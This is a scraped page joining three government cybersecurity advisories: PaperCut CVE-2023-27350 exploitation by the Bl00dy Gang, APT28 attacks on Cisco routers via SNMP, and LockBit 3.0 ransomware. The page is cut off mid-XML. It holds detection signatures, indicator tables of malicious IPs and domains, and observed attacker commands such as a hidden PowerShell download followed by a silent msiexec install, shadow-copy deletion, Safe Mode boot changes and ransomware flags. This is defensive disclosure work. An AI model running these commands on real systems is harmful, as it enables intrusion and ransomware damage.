To exploit CVE-2023-27350, a malicious actor must first visit the SetupCompleted page of the intended target, which will provide the adversary with authentication to the targeted PaperCut server. Deploy the following Emerging Threat Suricata signatures to detect when GET requests are sent to the SetupCompleted page. (Be careful of improperly formatted double-quotation marks if copying and pasting signatures from this advisory.)

Note that some of the techniques identified in this section can affect the availability or stability of a system. Defenders should follow organizational policies and incident response best practices to minimize the risk to operations while threat hunting. 

alert http any any -> $HOME_NET any (
  msg:"ET EXPLOIT PaperCut MF/NG SetupCompleted Authentication Bypass (CVE-2023-27350)";
  flow:established,to_server;
  http.method; content:"GET";
  http.uri; content:"/app?service=page/SetupCompleted"; bsize:32; fast_pattern;
  reference:cve,2023-27350;
  classtype:attempted-admin;

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT PaperCut MF/NG SetupCompleted Authentication Bypass (CVE-2023-27350)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"page/SetupCompleted"; fast_pattern; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; reference:cve,2023-27350; classtype:attempted-admin; metadata:attack_target Server, cve CVE_2023_27350, deployment Perimeter, deployment Internal, deployment SSLDecrypt, former_category EXPLOIT, performance_impact Low, confidence High, signature_severity Major, updated_at 2023_05_05;)

Note that these signatures and other rule-based detections, including YARA rules, may fail to detect more advanced iterations of CVE-2023-27350 exploits. Actors are known to adapt exploits to circumvent rule-based detections formulated for the original iterations of exploits observed in the wild. For example, the first rule above detected some of the first known exploits of CVE-2023-27350, but a slight modification of the exploit’s GET request can evade that rule. The second rule was designed to detect a broader range of activity than the first rule.

The following additional Emerging Threat Suricata signatures are designed to detect Domain Name System (DNS) lookups of known malicious domains associated with recent PaperCut exploitation:

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowcsupdates .com)"; dns_query; content:"windowcsupdates.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)windowcsupdates.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET ATTACK_RESPONSE Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (anydeskupdate .com)"; dns_query; content:"anydeskupdate.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)anydeskupdate.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (anydeskupdates .com)"; dns_query; content:"anydeskupdates.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)anydeskupdates.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowservicecemter .com)"; dns_query; content:"windowservicecemter.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)windowservicecemter.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET ATTACK_RESPONSE Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (winserverupdates .com)"; dns_query; content:"winserverupdates.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)winserverupdates.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (netviewremote .com)"; dns_query; content:"netviewremote.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)netviewremote.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (updateservicecenter .com)"; dns_query; content:"updateservicecenter.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)updateservicecenter.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowservicecenter .com)"; dns_query; content:"windowservicecenter.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)windowservicecenter.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowservicecentar .com)"; dns_query; content:"windowservicecentar.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)windowservicecentar.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category ATTACK_RESPONSE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

Note that these signatures may also not work if the actor modified activity to evade detection by known rules.

System Monitoring

A child process is spawned under pc-app.exe when the vulnerable PaperCut software is used to execute another process, which is the PaperCut server process. Malicious activity against PaperCut servers in mid-April used the RCE to supply commands to a cmd.exe or powershell.exe child process, which were then used to conduct further network exploitation. The following YARA rule may detect malicious activity[2].

title: PaperCut MF/NG Vulnerability 
authors: Huntress DE&TH Team
description: Detects suspicious code execution from vulnerable PaperCut versions MF and NG 
logsource:
  category: process_creation 
  product: windows 
detection: 
  selection: 
    ParentImage|endswith: “pc-app.exe” 
    Image|endswith:  
      - “cmd.exe” 
      - “powershell.exe” 
  condition: selection 
level: high 
falsepositives:     
  - Expected admin activity

More advanced versions of the exploit can drop a backdoor executable, use living-off-the-land binaries, or attempt to evade the above YARA rule by spawning an additional child process in-between pc-app.exe and a command-line interpreter.

Server Settings and Log Files

Network defenders may be able to identify suspicious activity by reviewing the PaperCut server options to identify unfamiliar print scripts or User/Group Sync settings.

If the PaperCut Application Server logs have debug mode enabled, lines containing SetupCompleted at a time not correlating with the server installation or upgrade may be indicative of a compromise. Server logs can be found in [app-path]/server/logs/*.* where server.log is normally the most recent log file.
Any of the following server log entries may be indicative of a compromise:

  • User "admin" updated the config key “print.script.sandboxed”
  • User "admin" updated the config key “device.script.sandboxed”
  • Admin user "admin" modified the print script on printer
  • User/Group Sync settings changed by "admin"

Indicators of Compromise

See Table 1 through Table 6 for IOCs obtained from FBI investigations and open-source information as of early May 2023.

Table 1: Bl00dy Gang Ransomware Email Addresses

Email Addresses

decrypt.support@privyonline[.]com

fimaribahundqf@gmx[.]com

main-office@data-highstream[.]com

prepalkeinuc0u@gmx[.]com

tpyrcne@onionmail[.]org

 

Table 2: Bl00dy Gang Ransomware Tox ID

Tox ID

E3213A199CDA7618AC22486EFECBD9F8E049AC36094D56AC1BFBE67EB9C3CF2352CAE9EBD35F

 

Table 3: Bl00dy Gang Ransomware IP addresses

IP Address

Port

>Date

Description

102.130.112[.]157

April 2023

N/A

172.106.112[.]46

April 2023

Resolves to Tor node. Network communications with nethelper.exe.

176.97.76[.]163

April 2023

Resolves to datacenter Tor node.

192.160.102[.]164

 

 

April 2023

Resolves to Tor node. Network communications with nethelper.exe.

194.87.82[.]7

April 2023

TrueBot C2. DiceLoader malware.

195.123.246[.]20

April 2023

TrueBot C2. DiceLoader malware.

198.50.191[.]95

 

 

April 2023

Resolves to Tor node. Network communications with nethelper.exe.

206.197.244[.]75

>443

April 2023

N/A

216.122.175[.]114

 

 

April 2023

Outbound communications from powershell.exe.

46.4.20[.]30

 

April 2023

Resolves to Tor node. Network communications with nethelper.exe.

5.188.206[.]14

April 2023

N/A

5.8.18[.]233

April 2023

Cobalt Strike C2.

5.8.18[.]240

April 2023

Cobalt Strike C2.

80.94.95[.]103

April 2023

N/A

89.105.216[.]106

443

April 2023

Resolves to Tor node. Network communications with nethelper.exe.

92.118.36[.]199

9100, 443

April 2023

Outbound communications from svchost.exe.

http://192.184.35[.]216:443/

4591187629.exe

April 2023

File 4591187629.exe is possibly cryptominer malware.

 

Table 4: Bl00dy Gang Ransomware Domains

Malicious Domain

Description

anydeskupdate[.]com

N/A

anydeskupdates[.]com

N/A

ber6vjyb[.]com

Associated with TrueBot C2

netviewremote[.]com

N/A

study.abroad[.]ge

Associated with Cobalt Strike Beacon

upd343.winserverupdates[.]com

Associated with Cobalt Strike Beacon

upd488.windowservicecemter[.]com

Associated with TrueBot payload

upd488.windowservicecemter[.]com/download/update.dll

File: Cobalt Strike Beacon

updateservicecenter[.]com

N/A

windowcsupdates[.]com

N/A

windowservicecemter[.]com

Associated with TrueBot payload

windowservicecentar[.]com

N/A

windowservicecenter[.]com

N/A

winserverupdates[.]com

N/A

winserverupdates[.]com

N/A

 

Table 5: Bl00dy Gang Ransomware Known Commands

Command

Description

cmd /c “powershell.exe -nop -w hidden

Launches powershell.exe in a hidden window without loading the user’s PowerShell profile.

Invoke-WebRequest ‘/setup.msi’

 -OutFile ‘setup.msi’ ”

Downloads setup.msi, saving it as setup.msi, in the current PowerShell working directory.

cmd /c “msiexec /i setup.msi /qn  IntegratorLogin= CompanyId=1”

Installs legitimate Atera RMM software on the system silently, with the specified email address and company ID properties.

 

Table 6: Bl00dy Gang Ransomware Malicious Files

File

SHA-256

Description

/windows/system32/config/
systemprofile/appdata/roaming/tor/

N/A

Unspecified files created in Tor directory

/windows/temp/
socks.exe

6bb160ebdc59395882ff322e67e000a22a5c54ac777b6b1f10f1fef381df9c15

Reverse SOCKS5 tunneler with TLS support (see https://github.com/kost/revsocks)

/windows/temp/servers.txt

N/A

Unspecified content within servers.txt file; likely a list of proxy servers for revsocks(socks.exe)

ld.txt

c0f8aeeb2d11c6e751ee87c40ee609aceb1c1036706a5af0d3d78738b6cc4125

TrueBot malware

nethelper.exe

N/A

Unknown file used to send outbound communications through Tor

update.dll

0ce7c6369c024d497851a482e011ef1528ad270e83995d52213276edbe71403f

Cobalt Strike Beacon

INCIDENT RESPONSE

If compromise is suspected or detected, organizations should:

  1. Create a backup of the current PaperCut server(s).
  2. Wipe the PaperCut Application Server and/or Site Server and rebuild it.
  3. Restore the database from a “safe” backup point. Using a backup dated prior to April 2023 would be prudent, given that exploitation in-the-wild exploitation began around early April.
  4. Execute additional security response procedures and carry out best practices around potential compromise.
  5. Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office or IC3.gov. Regarding specific information that appears in this communication, the context and individual indicators, particularly those of a non-deterministic or ephemeral nature (such as filenames or IP addresses), may not be indicative of a compromise. Indicators should always be evaluated in light of an organization’s complete information security situation. 

MITIGATIONS

FBI and CISA recommend organizations:

  • Upgrade PaperCut to the latest version.
  • If unable to immediately patch, ensure vulnerable PaperCut servers are not accessible over the internet and implement one of the following network controls:
    • Option 1: External controls: Block all inbound traffic from external IP addresses to the web management portal (port 9191 and 9192 by default).
    • Option 2: Internal and external controls: Block all traffic inbound to the web management portal. Note: The server cannot be managed remotely after this step.
  • Follow best cybersecurity practices in your production and enterprise environments, including mandating phishing-resistant multifactor authentication (MFA) for all staff and for all services. For additional best practices, see CISA’s Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common TTPs. Because the CPGs are a subset of best practices, CISA and FBI also recommend all organizations implement a comprehensive information security program based on a recognized framework, such as the NIST Cybersecurity Framework (CSF).

ACKNOWLEDGMENTS

The Multi-State Information Sharing and Analysis Center (MS-ISAC) contributed to this advisory.
REFERENCES
[1] PaperCut: URGENT | PaperCut MF/NG vulnerability bulletin (March 2023)
[2] Huntress: Critical Vulnerabilities in PaperCut Print Management Software

This product is provided subject to this Notification and this Privacy & Use policy.

APT28 Exploits Known Vulnerability to Carry Out Reconnaissance and Deploy Malware on Cisco Routers

This post was originally published on this site

APT28 accesses poorly maintained Cisco routers and deploys malware on unpatched devices using CVE-2017-6742.

Overview and Context

The UK National Cyber Security Centre (NCSC), the US National Security Agency (NSA), US Cybersecurity and Infrastructure Security Agency (CISA) and US Federal Bureau of Investigation (FBI) are releasing this joint advisory to provide details of tactics, techniques and procedures (TTPs) associated with APT28’s exploitation of Cisco routers in 2021.

We assess that APT28 is almost certainly the Russian General Staff Main Intelligence Directorate (GRU) 85th special Service Centre (GTsSS) Military Intelligence Unit 26165. APT28 (also known as Fancy Bear, STRONTIUM, Pawn Storm, the Sednit Gang and Sofacy) is a highly skilled threat actor.

Download the UK PDF version of this report:

Download the US PDF version of this report:

Previous Activity

The NCSC has previously attributed the following activity to APT28:

For more information on APT28 activity, see the advisory Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure and Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments.

As of 2021, APT28 has been observed using commercially available code repositories, and post-exploit frameworks such as Empire. This included the use of PowerShell Empire, in addition to Python versions of Empire.

Reconnaissance

Use of SNMP Protocol to Access Routers

In 2021, APT28 used infrastructure to masquerade Simple Network Management protocol (SNMP) access into Cisco routers worldwide. This included a small number based in Europe, US government institutions and approximately 250 Ukrainian victims.

SNMP is designed to allow network administrators to monitor and configure network devices remotely, but it can also be misused to obtain sensitive network information and, if vulnerable, exploit devices to penetrate a network.

A number of software tools can scan the entire network using SNMP, meaning that poor configuration such as using default or easy-to-guess community strings, can make a network susceptible to attacks.

Weak SNMP community strings, including the default “public,” allowed APT28 to gain access to router information. APT28 sent additional SNMP commands to enumerate router interfaces. [T1078.001]

The compromized routers were configured to accept SNMP v2 requests. SNMP v2 doesn’t support encryption and so all data, including community strings, is sent unencrypted.

Exploitation of CVE-2017-6742

APT28 exploited the vulnerability CVE-2017-6742 (Cisco Bug ID: CSCve54313) [T1190]. This vulnerability was first announced by Cisco on 29 June 2017, and patched software was made available. 

Cisco’s published advisory provided workarounds, such as limiting access to SNMP from trusted hosts only, or by disabling a number of SNMP Management Information bases (MIBs).

Malware Deployment

For some of the targeted devices, APT28 actors used an SNMP exploit to deploy malware, as detailed in the NCSC’s Jaguar Tooth Malware Analysis Report. This malware obtained further device information, which is exfiltrated over trivial file transfer protocol (TFTP), and enabled unauthenticated access via a backdoor.

The actor obtained this device information by executing a number of Command Line Interface (CLI) commands via the malware. It includes discovery of other devices on the network by querying the Address Resolution Protocol (ARP) table to obtain MAC addresses. [T1590]

Indicators of Compromise (IoCs)

Please refer to the accompanying Malware Analysis Report for indicators of compromise which may help to detect this activity.

MITRE ATT&CK®

This advisory has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

For detailed TTPs, see the Malware Analysis Report.

Tactic

ID

Technique

Procedure

Initial Access

T1190

Exploit Public-facing Application.

APT28 exploited default/well-known community strings in SNMP as outlined in CVE-2017-6742 (Cisco Bug ID: CSCve54313).

Initial Access

T1078.001

Valid Accounts: Default Accounts.

Actors accessed victim routers by using default community strings such as “public.”

Reconnaissance

T1590

Gather Victim Network Information

Access was gained to perform reconnaissance on victim devices. Further detail of how this was achieved in available in the MITRE ATT&CK section of the Jaguar Tooth MAR.

Conclusion

APT28 has been known to access vulnerable routers by using default and weak SNMP community strings, and by exploiting CVE-2017-6742 (Cisco Bug ID: CSCve54313) as published by Cisco.

TTPs in this advisory may still be used against vulnerable Cisco devices. Organizations are advised to follow the mitigation advice in this advisory to defend against this activity.

Reporting

UK organizations should report any suspected compromises to the NCSC.
US organisations should contact CISA’s 24/7 Operations Centre at report@cisa.gov or (888) 282-0870.

Mitigation

Mitigation

  • Patch devices as advised by Cisco. The NCSC also has general guidance on managing updates and keeping software up to date.
  • Do not use SNMP if you are not required to configure or manage devices remotely to prevent unauthorized users from accessing your router.
    • If you are required to manage routers remotely, establish allow and deny lists for SNMP messages to prevent unauthorized users from accessing your router.
  • Do not allow unencrypted (i.e., plaintext) management protocols, such as SNMP v2 and Telnet. Where encrypted protocols aren’t possible, you should carry out any management activities from outside the organization through an encrypted virtual private network (VPN), where both ends are mutually authenticated.
  • Enforce a strong password policy. Don’t reuse the same password for multiple devices. Each device should have a unique password. Where possible, avoid legacy password-based authentication and implement two-factor authentication based on public-private key.
  • Disable legacy unencrypted protocols such as Telnet and SNMP v1 or v2c. Where possible, use modern encrypted protocols such as SSH and SNMP v3. Harden the encryption protocols based on current best security practice. The NCSC strongly advises owners and operators to retire and replace legacy devices that can’t be configured to use SNMP v3.
  • Use logging tools to record commands executed on your network devices, such as TACACS+ and Syslog. Use these logs to immediately highlight suspicious events and keep a record of events to support an investigation if the device’s integrity is ever in question. See NCSC guidance on monitoring and logging.
  • If you suspect your router has been compromised:
    • Follow Cisco’s advice for verifying the Cisco IOS image.
    • Revoke all keys associated with that router. When replacing the router configuration be sure to create new keys rather than pasting from the old configuration.
    • Replace both the ROMMON and Cisco IOS image with an image that has been sourced directly from the Cisco website, in case third party and internal repositories have been compromised.
  • NSA’s Network Infrastructure guide provides some best practices for SNMP.
  • See also the Cisco IOS hardening guide and Cisco’s Jaguar Tooth blog.

This product is provided subject to this Notification and this Privacy & Use policy.

#StopRansomware: LockBit 3.0

This post was originally published on this site

SUMMARY

Note: this joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

Actions to take today to mitigate cyber threats from ransomware:

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing & Analysis Center (MS-ISAC) are releasing this joint CSA to disseminate known LockBit 3.0 ransomware IOCs and TTPs identified through FBI investigations as recently as March 2023.

The LockBit 3.0 ransomware operations function as a Ransomware-as-a-Service (RaaS) model and is a continuation of previous versions of the ransomware, LockBit 2.0, and LockBit. Since January 2020, LockBit has functioned as an affiliate-based ransomware variant; affiliates deploying the LockBit RaaS use many varying TTPs and attack a wide range of businesses and critical infrastructure organizations, which can make effective computer network defense and mitigation challenging.

The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.

Download the PDF version of this report: 

#StopRansomware: Lockbit
(PDF, 688.70 KB
)

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK for Enterprise.

CAPABILITIES

LockBit 3.0, also known as “LockBit Black,” is more modular and evasive than its previous versions and shares similarities with Blackmatter and Blackcat ransomware.

LockBit 3.0 is configured upon compilation with many different options that determine the behavior of the ransomware. Upon the actual execution of the ransomware within a victim environment, various arguments can be supplied to further modify the behavior of the ransomware. For example, LockBit 3.0 accepts additional arguments for specific operations in lateral movement and rebooting into Safe Mode (see LockBit Command Line parameters under Indicators of Compromise). If a LockBit affiliate does not have access to passwordless LockBit 3.0 ransomware, then a password argument is mandatory during the execution of the ransomware. LockBit 3.0 affiliates failing to enter the correct password will be unable to execute the ransomware [T1480.001]. The password is a cryptographic key which decodes the LockBit 3.0 executable. By protecting the code in such a manner, LockBit 3.0 hinders malware detection and analysis with the code being unexecutable and unreadable in its encrypted form. Signature-based detections may fail to detect the LockBit 3.0 executable as the executable’s encrypted potion will vary based on the cryptographic key used for encryption while also generating a unique hash. When provided the correct password, LockBit 3.0 will decrypt the main component, continue to decrypt or decompress its code, and execute the ransomware.

LockBit 3.0 will only infect machines that do not have language settings matching a defined exclusion list. However, whether a system language is checked at runtime is determined by a configuration flag originally set at compilation time. Languages on the exclusion list include, but are not limited to, Romanian (Moldova), Arabic (Syria), and Tatar (Russia). If a language from the exclusion list is detected [T1614.001], LockBit 3.0 will stop execution without infecting the system.

INITIAL ACCESS

Affiliates deploying LockBit 3.0 ransomware gain initial access to victim networks via remote desktop protocol (RDP) exploitation [T1133], drive-by compromise [T1189], phishing campaigns [T1566], abuse of valid accounts [T1078], and exploitation of public-facing applications [T1190].

EXECUTION AND INFECTION PROCESS

During the malware routine, if privileges are not sufficient, LockBit 3.0 attempts to escalate to the required privileges [TA0004]. LockBit 3.0 performs functions such as:

  • Enumerating system information such as hostname, host configuration, domain information, local drive configuration, remote shares, and mounted external storage devices [T1082]
  • Terminating processes and services [T1489]
  • Launching commands [TA0002]
  • Enabling automatic logon for persistence and privilege escalation [T1547]
  • Deleting log files, files in the recycle bin folder, and shadow copies residing on disk [T1485], [T1490]

LockBit 3.0 attempts to spread across a victim network by using a preconfigured list of credentials hardcoded at compilation time or a compromised local account with elevated privileges [T1078]. When compiled, LockBit 3.0 may also enable options for spreading via Group Policy Objects and PsExec using the Server Message Block (SMB) protocol. LockBit 3.0 attempts to encrypt [T1486] data saved to any local or remote device, but skips files associated with core system functions.

After files are encrypted, LockBit 3.0 drops a ransom note with the new filename .README.txt and changes the host’s wallpaper and icons to LockBit 3.0 branding [T1491.001]. If needed, LockBit 3.0 will send encrypted host and bot information to a command and control (C2) server [T1027].

Once completed, LockBit 3.0 may delete itself from the disk [T1070.004] as well as any Group Policy updates that were made, depending on which options were set at compilation time.

EXFILTRATION

LockBit 3.0 affiliates use Stealbit, a custom exfiltration tool used previously with LockBit 2.0 [TA0010]; rclone, an open-source command line cloud storage manager [T1567.002]; and publicly available file sharing services, such as MEGA [T1567.002], to exfiltrate sensitive company data files prior to encryption. While rclone and many publicly available file sharing services are primarily used for legitimate purposes, they can also be used by threat actors to aid in system compromise, network exploration, or data exfiltration. LockBit 3.0 affiliates often use other publicly available file sharing services to exfiltrate data as well [T1567] (see Table 1).

Table 1: Anonymous File Sharing Sites Used to Exfiltrate Data Before System Encryption
File Sharing Site
https://www.premiumize[.]com
https://anonfiles[.]com
https://www.sendspace[.]com
https://fex[.]net
https://transfer[.]sh
https://send.exploit[.]in
LEVERAGING FREEWARE AND OPEN-SOURCE TOOLS

LockBit affiliates have been observed using various freeware and open-source tools during their intrusions. These tools are used for a range of activities such as network reconnaissance, remote access and tunneling, credential dumping, and file exfiltration. Use of PowerShell and Batch scripts
are observed across most intrusions, which focus on system discovery, reconnaissance, password/credential hunting, and privilege escalation. Artifacts of professional penetration-testing tools such as Metasploit and Cobalt Strike have also been observed. See Table 2 for a list of legitimate freeware and open-source tools LockBit affiliates have repurposed for ransomware operations:

Table 2: Freeware and Open-Source Tools Used by LockBit 3.0 Affiliates
Tool Description MITRE ATT&CK ID
Chocolatey Command-line package manager for Windows. T1072
FileZilla Cross-platform File Transfer Protocol (FTP) application. T1071.002
Impacket Collection of Python classes for working with network protocols. S0357
MEGA Ltd MegaSync Cloud-based synchronization tool. T1567.002
Microsoft Sysinternals ProcDump Generates crash dumps. Commonly used to dump the contents of Local Security Authority Subsystem Service, LSASS.exe. T1003.001
Microsoft Sysinternals PsExec Execute a command-line process on a remote machine. S0029
Mimikatz Extracts credentials from system. S0002
Ngrok Legitimate remote-access tool abused to bypass victim network protections. S0508
PuTTY Link (Plink) Can be used to automate Secure Shell (SSH) actions on Windows. T1572
Rclone Command-line program to manage cloud storage files S1040
SoftPerfect Network Scanner Performs network scans. T1046
Splashtop Remote-desktop software. T1021.001
WinSCP SSH File Transfer Protocol client for Windows. T1048
Indicators of Compromise (IOCs)

The IOCs and malware characteristics outlined below were derived from field analysis. The following samples are current as of March 2023.

LockBit 3.0 Black Icon

LockBit 3.0 black icon.

 

 

LockBit 3.0 Wallpaper

 

 

 

LockBit Command Line Parameters

LockBit Parameters Description
-del
Self-delete.
-gdel
Remove LockBit 3.0 group policy changes.
-gspd
Spread laterally via group policy.
-pass (32 character value)
(Required) Password used to launch LockBit 3.0.
-path (File or path)
Only encrypts provided file or folder.
-psex
Spread laterally via admin shares.
-safe
Reboot host into Safe Mode.
-wall
Sets LockBit 3.0 Wallpaper and prints out LockBit 3.0 ransom note.
Mutual Exclusion Object (Mutex) Created

When executed, LockBit 3.0 will create the mutex, Global,
and check to see if this mutex has already been created to avoid running more than one instance of the ransomware.

UAC Bypass via Elevated COM Interface

LockBit 3.0 is capable of bypassing User Account Control (UAC) to execute code with elevated privileges via elevated Component Object Model (COM) Interface. C:WindowsSystem32dllhost.exe is spawned with high integrity with the command line GUID 3E5FC7F9-9A51-4367-9063-A120244FBEC.

For example, %SYSTEM32%dllhost.exe/Processid:{3E5FC7F9-9A51-4367-9063- A120244FBEC7}.

Volume Shadow Copy Deletion

LockBit 3.0 uses Windows Management Instrumentation (WMI) to identify and delete Volume Shadow Copies. LockBit 3.0 uses select * from Win32_ShadowCopy to query for Volume Shadow copies, Win32_ShadowCopy.ID to obtain the ID of the shadow copy, and DeleteInstance to delete any shadow copies.

Registry Artifacts

LockBit 3.0 Icon

Registry Key Value Data
HKCR. 
(Default)

HKCRDefaultIcon
(Default)
C:ProgramData.ico

LockBit 3.0 Wallpaper

Registry Key Value Data
HKCUControl PanelDesktopWallPaper
(Default)
C:ProgramData.bmp

Disable Privacy Settings Experience

Registry Key Value Data
SOFTWAREPoliciesMicrosoftWin
dowsOOBE
DisablePrivacyE
xperience
0

Enable Automatic Logon

Registry Key Value Data
SOFTWAREMicrosoftWindows
NTCurrentVersionWinlogon
AutoAdminLogon
1
 
DefaultUserName

 
DefaultDomainNa
me

 
DefaultPassword

Disable and Clear Windows Event Logs

Registry Key Value Data
HKLMSOFTWAREMicrosoftWindows
CurrentVersionWINEVTChannels
*
Enabled
0
HKLMSOFTWAREMicrosoftWindows
CurrentVersionWINEVTChannels
* ChannelAccess
ChannelAccess
AO:BAG:SYD:(A;;0x1;;
;SY)(A;;0x5;;;BA)(A;
;0x1;;;LA)
Ransom Locations
LockBit 3.0 File Path Locations
ADMIN$Temp.exe
%SystemRoot%Temp.exe
sysvolscripts.exe (Domain Controller)
Safe Mode Launch Commands

LockBit 3.0 has a Safe Mode feature to circumvent endpoint antivirus and detection. Depending upon the host operating system, the following command is launched to reboot the system to Safe Mode with Networking:

Operating System Safe Mode with Networking command
Vista and newer
bcdedit /set {current} safeboot network
Pre-Vista
bootcfg /raw /a /safeboot:network /id 1
Operating System Disable Safe mode reboot
Vista and newer
bcdedit /deletevalue {current} safeboot
Pre-Vista
bootcfg /raw /fastdetect /id 1
Group Policy Artifacts

The following are Group Policy Extensible Markup Language (XML) files identified after a LockBit 3.0 infection:

NetworkShares.xml

<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}"
image=”2″ name=”%%ComputerName%%_D” changed=”%s” uid=”%s”>

Services.xml stops and disables services on the Active Directory (AD) hosts.

Services.xml

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”SQLPBDMS” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”SQLPBENGINE” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”MSSQLFDLauncher” image=”4″ changed=”%s” uid=”%s” userContext=”0″ removePolicy=”0″ disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”SQLSERVERAGENT” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”MSSQLServerOLAPService” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”SSASTELEMETRY” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name=”SQLBrowser” image=”4″ changed=”%s” uid=”%s” disabled=”0″>

<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
